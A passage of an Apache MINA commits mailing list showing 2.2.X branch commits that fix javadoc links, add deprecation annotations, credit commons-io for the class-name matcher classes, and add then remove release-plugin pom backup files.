+              org.apache.mina.filter.codec.demux,
+              org.apache.mina.filter.codec.prefixedstring,
+              org.apache.mina.filter.codec.serialization,
+              org.apache.mina.filter.codec.statemachine,
+              org.apache.mina.filter.codec.textline,
+              org.apache.mina.filter.errorgenerating,
+              org.apache.mina.filter.executor,
+              org.apache.mina.filter.firewall,
+              org.apache.mina.filter.keepalive,
+              org.apache.mina.filter.logging,
+              org.apache.mina.filter.ssl,
+              org.apache.mina.filter.statistic,
+              org.apache.mina.filter.stream,
+              org.apache.mina.filter.util,
+              org.apache.mina.handler.chain,
+              org.apache.mina.handler.demux,
+              org.apache.mina.handler.multiton,
+              org.apache.mina.handler.stream,
+              org.apache.mina.proxy,
+              org.apache.mina.proxy.event,
+              org.apache.mina.proxy.filter,
+              org.apache.mina.proxy.handlers,
+              org.apache.mina.proxy.handlers.http,
+              org.apache.mina.proxy.handlers.http.basic,
+              org.apache.mina.proxy.handlers.http.digest,
+              org.apache.mina.proxy.handlers.http.ntlm,
+              org.apache.mina.proxy.handlers.socks,
+              org.apache.mina.proxy.session,
+              org.apache.mina.proxy.utils,
+              org.apache.mina.transport.socket,
+              org.apache.mina.transport.socket.nio,
+              org.apache.mina.transport.vmpipe,
+              org.apache.mina.util,
+              org.apache.mina.util.byteaccess
+            </Export-Package>
+            <Import-Package>
+              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
+            </Import-Package>
+          </instructions>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+</project>
diff --git a/mina-core/pom.xml.tag b/mina-core/pom.xml.tag
new file mode 100644
index 000000000..d73e3c0c4
--- /dev/null
+++ b/mina-core/pom.xml.tag
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one
+  or more contributor license agreements.  See the NOTICE file
+  distributed with this work for additional information
+  regarding copyright ownership.  The ASF licenses this file
+  to you under the Apache License, Version 2.0 (the
+  "License"); you may not use this file except in compliance
+  with the License.  You may obtain a copy of the License at
+  
+  http://www.apache.org/licenses/LICENSE-2.0
+  
+  Unless required by applicable law or agreed to in writing,
+  software distributed under the License is distributed on an
+  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+  KIND, either express or implied.  See the License for the
+  specific language governing permissions and limitations
+  under the License.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <parent>
+    <groupId>org.apache.mina</groupId>
+    <artifactId>mina-parent</artifactId>
+    <version>2.2.4</version>
+  </parent>
+
+  <artifactId>mina-core</artifactId>
+  <name>Apache MINA Core</name>
+  <packaging>bundle</packaging>
+
+  <dependencies>
+    <!-- Test dependencies -->
+    <dependency>
+      <groupId>org.easymock</groupId>
+      <artifactId>easymock</artifactId>
+    </dependency>
+    
+    <dependency>
+      <groupId>org.mockito</groupId>
+      <artifactId>mockito-core</artifactId>
+    </dependency>
+
+  </dependencies>
+  
+  <build>
+    <plugins>
+      <plugin>
+        <groupId>org.apache.felix</groupId>
+        <artifactId>maven-bundle-plugin</artifactId>
+        <inherited>true</inherited>
+        <extensions>true</extensions>
+        <configuration>
+          <manifestLocation>META-INF</manifestLocation>
+          <instructions>
+            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
+            <Export-Package>
+              org.apache.mina.core,
+              org.apache.mina.core.buffer,
+              org.apache.mina.core.buffer.matcher,
+              org.apache.mina.core.file,
+              org.apache.mina.core.filterchain,
+              org.apache.mina.core.future,
+              org.apache.mina.core.polling,
+              org.apache.mina.core.service,
+              org.apache.mina.core.session,
+              org.apache.mina.core.write,
+              org.apache.mina.filter,
+              org.apache.mina.filter.buffer,
+              org.apache.mina.filter.codec,
+              org.apache.mina.filter.codec.demux,
+              org.apache.mina.filter.codec.prefixedstring,
+              org.apache.mina.filter.codec.serialization,
+              org.apache.mina.filter.codec.statemachine,
+              org.apache.mina.filter.codec.textline,
+              org.apache.mina.filter.errorgenerating,
+              org.apache.mina.filter.executor,
+              org.apache.mina.filter.firewall,
+              org.apache.mina.filter.keepalive,
+              org.apache.mina.filter.logging,
+              org.apache.mina.filter.ssl,
+              org.apache.mina.filter.statistic,
+              org.apache.mina.filter.stream,
+              org.apache.mina.filter.util,
+              org.apache.mina.handler.chain,
+              org.apache.mina.handler.demux,
+              org.apache.mina.handler.multiton,
+              org.apache.mina.handler.stream,
+              org.apache.mina.proxy,
+              org.apache.mina.proxy.event,
+              org.apache.mina.proxy.filter,
+              org.apache.mina.proxy.handlers,
+              org.apache.mina.proxy.handlers.http,
+              org.apache.mina.proxy.handlers.http.basic,
+              org.apache.mina.proxy.handlers.http.digest,
+              org.apache.mina.proxy.handlers.http.ntlm,
+              org.apache.mina.proxy.handlers.socks,
+              org.apache.mina.proxy.session,
+              org.apache.mina.proxy.utils,
+              org.apache.mina.transport.socket,
+              org.apache.mina.transport.socket.nio,
+              org.apache.mina.transport.vmpipe,
+              org.apache.mina.util,
+              org.apache.mina.util.byteaccess
+            </Export-Package>
+            <Import-Package>
+              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
+            </Import-Package>
+          </instructions>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+</project>
diff --git a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
index b8f10f590..9dbac68ce 100644
--- a/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
+++ b/mina-core/src/main/java/org/apache/mina/filter/codec/serialization/ObjectSerializationDecoder.java
@@ -134,7 +134,7 @@ public class ObjectSerializationDecoder extends CumulativeProtocolDecoder {
      * unless they are otherwise rejected.
      *
      * @param patterns Wildcard file name patterns as defined by
-     *                  @link org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
+     *                  org.apache.commons.io.FilenameUtils.wildcardMatch(String, String)
      */
     public void accept(String... patterns) {
         for (String pattern:patterns) {


(mina) 09/19: git commit -m "Added a info in the files' header indicating that those classes are from commons-io"

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 47789bb50208084c8e07a7b4cdc60690af49ae82
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Mon Nov 11 12:16:54 2024 +0100

    git commit -m "Added a info in the files' header indicating that those
    classes are from commons-io"
---
 .../java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java     | 2 ++
 .../src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java  | 2 ++
 .../main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java   | 3 +++
 .../java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java | 2 ++
 .../src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java      | 2 ++
 .../org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java    | 2 ++
 .../org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java  | 2 ++
 7 files changed, 15 insertions(+)

diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java
index 44da8ff77..a5620b48c 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java
@@ -20,6 +20,8 @@ package org.apache.mina.core.buffer.matcher;
 
 /**
  * An object that matches a Class name to a condition.
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public interface ClassNameMatcher {
     /**
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
index 38212c791..19a8abe67 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
@@ -29,6 +29,8 @@ import java.util.Objects;
  * </p>
  *
  * @since 2.7
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public enum FileSystem {
 
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
index 9ff67ca05..426e4ab98 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
@@ -4,6 +4,9 @@ import java.util.ArrayDeque;
 import java.util.ArrayList;
 import java.util.Deque;
 
+/**
+ * This class is extracted from Apache commons-io project
+ */
 public class FilenameUtils
 {
     private static final int NOT_FOUND = -1;
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java
index 1f4d07775..515cfee61 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java
@@ -28,6 +28,8 @@ import java.util.Set;
  * <p>
  * This object is immutable and thread-safe.
  * </p>
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public final class FullClassNameMatcher implements ClassNameMatcher {
     private final Set<String> classesSet;
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
index b2a1c89cd..0faa818ff 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
@@ -36,6 +36,8 @@ import java.util.stream.Stream;
  * </p>
  *
  * @since 1.3
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public enum IOCase {
 
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
index bb854245d..75bf15fb3 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
@@ -26,6 +26,8 @@ import java.util.regex.Pattern;
  * <p>
  * This object is immutable and thread-safe.
  * </p>
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public final class RegexpClassNameMatcher implements ClassNameMatcher {
     private final Pattern pattern; // Class is thread-safe
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
index 36e607138..4732bdac5 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -24,6 +24,8 @@ package org.apache.mina.core.buffer.matcher;
  * <p>
  * This object is immutable and thread-safe.
  * </p>
+ * 
+ * This class is extracted from Apache commons-io project
  */
 public final class WildcardClassNameMatcher implements ClassNameMatcher {
 


(mina) 14/19: Fixed a bad @link

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 859e7aaa6f039032c3063daa92e86d94eac11cc5
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 09:55:10 2024 +0100

    Fixed a bad @link
---
 .../org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
index bdb6e0933..8e3c12e64 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -18,11 +18,9 @@
  */
 package org.apache.mina.core.buffer.matcher;
 
-import org.apache.commons.io.FilenameUtils;
-
 /**
  * A {@link ClassNameMatcher} that uses simplified regular expressions
- *  provided by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+ *  provided by {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String)}
  * <p>
  * This object is immutable and thread-safe.
  * </p>


(mina) 05/19: Fixed some javadoc issue

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 2ac05790420ecc09c09d4872b33dfa8250b09b1d
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:17:42 2024 +0100

    Fixed some javadoc issue
---
 .../src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java   | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java b/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java
index 49fe96120..afc2b2ad9 100644
--- a/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java
+++ b/mina-core/src/main/java/org/apache/mina/core/write/DefaultWriteRequest.java
@@ -65,6 +65,7 @@ public class DefaultWriteRequest implements WriteRequest {
         /**
          * {@inheritDoc}
          */
+        @Deprecated
         @Override
         public void join() {
             // Do nothing
@@ -73,6 +74,7 @@ public class DefaultWriteRequest implements WriteRequest {
         /**
          * {@inheritDoc}
          */
+        @Deprecated
         @Override
         public boolean join(long timeoutInMillis) {
             return true;


(mina) 13/19: Fixed some compilation issues

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit f58344115703a883074941f54fccd92aeeb4382e
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 09:49:29 2024 +0100

    Fixed some compilation issues
---
 mina-core/pom.xml.releaseBackup                    | 116 +++++++++++++++++++++
 mina-core/pom.xml.tag                              | 116 +++++++++++++++++++++
 .../buffer/matcher/WildcardClassNameMatcher.java   |   2 +-
 3 files changed, 233 insertions(+), 1 deletion(-)

diff --git a/mina-core/pom.xml.releaseBackup b/mina-core/pom.xml.releaseBackup
new file mode 100644
index 000000000..88d03d64b
--- /dev/null
+++ b/mina-core/pom.xml.releaseBackup
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one
+  or more contributor license agreements.  See the NOTICE file
+  distributed with this work for additional information
+  regarding copyright ownership.  The ASF licenses this file
+  to you under the Apache License, Version 2.0 (the
+  "License"); you may not use this file except in compliance
+  with the License.  You may obtain a copy of the License at
+  
+  http://www.apache.org/licenses/LICENSE-2.0
+  
+  Unless required by applicable law or agreed to in writing,
+  software distributed under the License is distributed on an
+  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+  KIND, either express or implied.  See the License for the
+  specific language governing permissions and limitations
+  under the License.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <parent>
+    <groupId>org.apache.mina</groupId>
+    <artifactId>mina-parent</artifactId>
+    <version>2.2.4-SNAPSHOT</version>
+  </parent>
+
+  <artifactId>mina-core</artifactId>
+  <name>Apache MINA Core</name>
+  <packaging>bundle</packaging>
+
+  <dependencies>
+    <!-- Test dependencies -->
+    <dependency>
+      <groupId>org.easymock</groupId>
+      <artifactId>easymock</artifactId>
+    </dependency>
+    
+    <dependency>
+      <groupId>org.mockito</groupId>
+      <artifactId>mockito-core</artifactId>
+    </dependency>
+
+  </dependencies>
+  
+  <build>
+    <plugins>
+      <plugin>
+        <groupId>org.apache.felix</groupId>
+        <artifactId>maven-bundle-plugin</artifactId>
+        <inherited>true</inherited>
+        <extensions>true</extensions>
+        <configuration>
+          <manifestLocation>META-INF</manifestLocation>
+          <instructions>
+            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
+            <Export-Package>
+              org.apache.mina.core,
+              org.apache.mina.core.buffer,
+              org.apache.mina.core.buffer.matcher,
+              org.apache.mina.core.file,
+              org.apache.mina.core.filterchain,
+              org.apache.mina.core.future,
+              org.apache.mina.core.polling,
+              org.apache.mina.core.service,
+              org.apache.mina.core.session,
+              org.apache.mina.core.write,
+              org.apache.mina.filter,
+              org.apache.mina.filter.buffer,
+              org.apache.mina.filter.codec,
+              org.apache.mina.filter.codec.demux,
+              org.apache.mina.filter.codec.prefixedstring,
+              org.apache.mina.filter.codec.serialization,
+              org.apache.mina.filter.codec.statemachine,
+              org.apache.mina.filter.codec.textline,
+              org.apache.mina.filter.errorgenerating,
+              org.apache.mina.filter.executor,
+              org.apache.mina.filter.firewall,
+              org.apache.mina.filter.keepalive,
+              org.apache.mina.filter.logging,
+              org.apache.mina.filter.ssl,
+              org.apache.mina.filter.statistic,
+              org.apache.mina.filter.stream,
+              org.apache.mina.filter.util,
+              org.apache.mina.handler.chain,
+              org.apache.mina.handler.demux,
+              org.apache.mina.handler.multiton,
+              org.apache.mina.handler.stream,
+              org.apache.mina.proxy,
+              org.apache.mina.proxy.event,
+              org.apache.mina.proxy.filter,
+              org.apache.mina.proxy.handlers,
+              org.apache.mina.proxy.handlers.http,
+              org.apache.mina.proxy.handlers.http.basic,
+              org.apache.mina.proxy.handlers.http.digest,
+              org.apache.mina.proxy.handlers.http.ntlm,
+              org.apache.mina.proxy.handlers.socks,
+              org.apache.mina.proxy.session,
+              org.apache.mina.proxy.utils,
+              org.apache.mina.transport.socket,
+              org.apache.mina.transport.socket.nio,
+              org.apache.mina.transport.vmpipe,
+              org.apache.mina.util,
+              org.apache.mina.util.byteaccess
+            </Export-Package>
+            <Import-Package>
+              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
+            </Import-Package>
+          </instructions>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+</project>
diff --git a/mina-core/pom.xml.tag b/mina-core/pom.xml.tag
new file mode 100644
index 000000000..d73e3c0c4
--- /dev/null
+++ b/mina-core/pom.xml.tag
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="ISO-8859-1"?>
+
+<!--
+  Licensed to the Apache Software Foundation (ASF) under one
+  or more contributor license agreements.  See the NOTICE file
+  distributed with this work for additional information
+  regarding copyright ownership.  The ASF licenses this file
+  to you under the Apache License, Version 2.0 (the
+  "License"); you may not use this file except in compliance
+  with the License.  You may obtain a copy of the License at
+  
+  http://www.apache.org/licenses/LICENSE-2.0
+  
+  Unless required by applicable law or agreed to in writing,
+  software distributed under the License is distributed on an
+  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+  KIND, either express or implied.  See the License for the
+  specific language governing permissions and limitations
+  under the License.
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
+  <modelVersion>4.0.0</modelVersion>
+  <parent>
+    <groupId>org.apache.mina</groupId>
+    <artifactId>mina-parent</artifactId>
+    <version>2.2.4</version>
+  </parent>
+
+  <artifactId>mina-core</artifactId>
+  <name>Apache MINA Core</name>
+  <packaging>bundle</packaging>
+
+  <dependencies>
+    <!-- Test dependencies -->
+    <dependency>
+      <groupId>org.easymock</groupId>
+      <artifactId>easymock</artifactId>
+    </dependency>
+    
+    <dependency>
+      <groupId>org.mockito</groupId>
+      <artifactId>mockito-core</artifactId>
+    </dependency>
+
+  </dependencies>
+  
+  <build>
+    <plugins>
+      <plugin>
+        <groupId>org.apache.felix</groupId>
+        <artifactId>maven-bundle-plugin</artifactId>
+        <inherited>true</inherited>
+        <extensions>true</extensions>
+        <configuration>
+          <manifestLocation>META-INF</manifestLocation>
+          <instructions>
+            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
+            <Export-Package>
+              org.apache.mina.core,
+              org.apache.mina.core.buffer,
+              org.apache.mina.core.buffer.matcher,
+              org.apache.mina.core.file,
+              org.apache.mina.core.filterchain,
+              org.apache.mina.core.future,
+              org.apache.mina.core.polling,
+              org.apache.mina.core.service,
+              org.apache.mina.core.session,
+              org.apache.mina.core.write,
+              org.apache.mina.filter,
+              org.apache.mina.filter.buffer,
+              org.apache.mina.filter.codec,
+              org.apache.mina.filter.codec.demux,
+              org.apache.mina.filter.codec.prefixedstring,
+              org.apache.mina.filter.codec.serialization,
+              org.apache.mina.filter.codec.statemachine,
+              org.apache.mina.filter.codec.textline,
+              org.apache.mina.filter.errorgenerating,
+              org.apache.mina.filter.executor,
+              org.apache.mina.filter.firewall,
+              org.apache.mina.filter.keepalive,
+              org.apache.mina.filter.logging,
+              org.apache.mina.filter.ssl,
+              org.apache.mina.filter.statistic,
+              org.apache.mina.filter.stream,
+              org.apache.mina.filter.util,
+              org.apache.mina.handler.chain,
+              org.apache.mina.handler.demux,
+              org.apache.mina.handler.multiton,
+              org.apache.mina.handler.stream,
+              org.apache.mina.proxy,
+              org.apache.mina.proxy.event,
+              org.apache.mina.proxy.filter,
+              org.apache.mina.proxy.handlers,
+              org.apache.mina.proxy.handlers.http,
+              org.apache.mina.proxy.handlers.http.basic,
+              org.apache.mina.proxy.handlers.http.digest,
+              org.apache.mina.proxy.handlers.http.ntlm,
+              org.apache.mina.proxy.handlers.socks,
+              org.apache.mina.proxy.session,
+              org.apache.mina.proxy.utils,
+              org.apache.mina.transport.socket,
+              org.apache.mina.transport.socket.nio,
+              org.apache.mina.transport.vmpipe,
+              org.apache.mina.util,
+              org.apache.mina.util.byteaccess
+            </Export-Package>
+            <Import-Package>
+              javax.crypto,javax.crypto.spec,javax.net.ssl,javax.security.sasl,org.slf4j;version=${osgi-min-version.slf4j.api}
+            </Import-Package>
+          </instructions>
+        </configuration>
+      </plugin>
+    </plugins>
+  </build>
+</project>
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
index 1bfa94095..bdb6e0933 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java
@@ -18,7 +18,7 @@
  */
 package org.apache.mina.core.buffer.matcher;
 
-import org.apache.commons.io.FilenameUtils
+import org.apache.commons.io.FilenameUtils;
 
 /**
  * A {@link ClassNameMatcher} that uses simplified regular expressions


(mina) 06/19: Fixed some javadoc issue

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 721622e9a9cd2b1d34f9531f23e04c9fedf7acf5
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Wed Nov 6 16:18:02 2024 +0100

    Fixed some javadoc issue
---
 .../src/main/java/org/apache/mina/core/session/AbstractIoSession.java | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java
index 675bf13ac..4f1d4c6f8 100644
--- a/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java
+++ b/mina-core/src/main/java/org/apache/mina/core/session/AbstractIoSession.java
@@ -309,6 +309,7 @@ public abstract class AbstractIoSession implements IoSession {
     /**
      * {@inheritDoc}
      */
+    @Deprecated
     public final CloseFuture close(boolean rightNow) {
         if (rightNow) {
             return closeNow();
@@ -320,6 +321,7 @@ public abstract class AbstractIoSession implements IoSession {
     /**
      * {@inheritDoc}
      */
+    @Deprecated
     public final CloseFuture close() {
         return closeNow();
     }
@@ -598,6 +600,7 @@ public abstract class AbstractIoSession implements IoSession {
     /**
      * {@inheritDoc}
      */
+    @Deprecated
     public final Object getAttachment() {
         return getAttribute("");
     }
@@ -605,6 +608,7 @@ public abstract class AbstractIoSession implements IoSession {
     /**
      * {@inheritDoc}
      */
+    @Deprecated
     public final Object setAttachment(Object attachment) {
         return setAttribute("", attachment);
     }


(mina) 16/19: Trying to get maven source plugin to the latest version

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 625a52405acabe624a2bf9e68f8743ec46474b37
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 10:12:14 2024 +0100

    Trying to get maven source plugin to the latest version
---
 pom.xml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pom.xml b/pom.xml
index 1b60deae7..0585a61a0 100644
--- a/pom.xml
+++ b/pom.xml
@@ -135,7 +135,7 @@
     <version.resources.plugin>3.3.1</version.resources.plugin>
     <version.scm.plugin>2.1.0</version.scm.plugin>
     <version.site.plugin>4.0.0-M16</version.site.plugin>
-    <version.source.plugin>3.2.1</version.source.plugin>
+    <version.source.plugin>3.3.1</version.source.plugin>
     <version.shade.plugin>3.5.0</version.shade.plugin>
     <version.surefire.plugin>3.5.2</version.surefire.plugin>
     <version.surfire.report.plugin>3.5.2</version.surfire.report.plugin>
@@ -833,7 +833,7 @@
           <execution>
             <id>attach-source</id>
             <goals>
-              <goal>jar</goal>
+              <goal>jar-no-fork</goal>
             </goals>
           </execution>
         </executions>


(mina) 15/19: Solved some link issues

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 252130da0fd76d9c2399b75a9f1a13efa313f133
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 10:11:46 2024 +0100

    Solved some link issues
---
 mina-core/pom.xml.releaseBackup                    | 116 ---------------------
 mina-core/pom.xml.tag                              | 116 ---------------------
 .../java/org/apache/mina/core/buffer/IoBuffer.java |   2 +-
 .../buffer/matcher/WildcardClassNameMatcher.java   |   2 +-
 .../ObjectSerializationCodecFactory.java           |   2 +-
 .../serialization/ObjectSerializationDecoder.java  |   2 +-
 6 files changed, 4 insertions(+), 236 deletions(-)

diff --git a/mina-core/pom.xml.releaseBackup b/mina-core/pom.xml.releaseBackup
deleted file mode 100644
index 88d03d64b..000000000
--- a/mina-core/pom.xml.releaseBackup
+++ /dev/null
@@ -1,116 +0,0 @@
-<?xml version="1.0" encoding="ISO-8859-1"?>
-
-<!--
-  Licensed to the Apache Software Foundation (ASF) under one
-  or more contributor license agreements.  See the NOTICE file
-  distributed with this work for additional information
-  regarding copyright ownership.  The ASF licenses this file
-  to you under the Apache License, Version 2.0 (the
-  "License"); you may not use this file except in compliance
-  with the License.  You may obtain a copy of the License at
-  
-  http://www.apache.org/licenses/LICENSE-2.0
-  
-  Unless required by applicable law or agreed to in writing,
-  software distributed under the License is distributed on an
-  "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-  KIND, either express or implied.  See the License for the
-  specific language governing permissions and limitations
-  under the License.
--->
-
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
-  <modelVersion>4.0.0</modelVersion>
-  <parent>
-    <groupId>org.apache.mina</groupId>
-    <artifactId>mina-parent</artifactId>
-    <version>2.2.4-SNAPSHOT</version>
-  </parent>
-
-  <artifactId>mina-core</artifactId>
-  <name>Apache MINA Core</name>
-  <packaging>bundle</packaging>
-
-  <dependencies>
-    <!-- Test dependencies -->
-    <dependency>
-      <groupId>org.easymock</groupId>
-      <artifactId>easymock</artifactId>
-    </dependency>
-    
-    <dependency>
-      <groupId>org.mockito</groupId>
-      <artifactId>mockito-core</artifactId>
-    </dependency>
-
-  </dependencies>
-  
-  <build>
-    <plugins>
-      <plugin>
-        <groupId>org.apache.felix</groupId>
-        <artifactId>maven-bundle-plugin</artifactId>
-        <inherited>true</inherited>
-        <extensions>true</extensions>
-        <configuration>
-          <manifestLocation>META-INF</manifestLocation>
-          <instructions>
-            <Bundle-SymbolicName>${project.groupId}.core</Bundle-SymbolicName>
-            <Export-Package>
-              org.apache.mina.core,
-              org.apache.mina.core.buffer,
-              org.apache.mina.core.buffer.matcher,
-              org.apache.mina.core.file,
-              org.apache.mina.core.filterchain,
-              org.apache.mina.core.future,
-              org.apache.mina.core.polling,
-              org.apache.mina.core.service,
-              org.apache.mina.core.session,
-              org.apache.mina.core.write,
-              org.apache.mina.filter,
-              org.apache.mina.filter.buffer,
-              org.apache.mina.filter.codec,
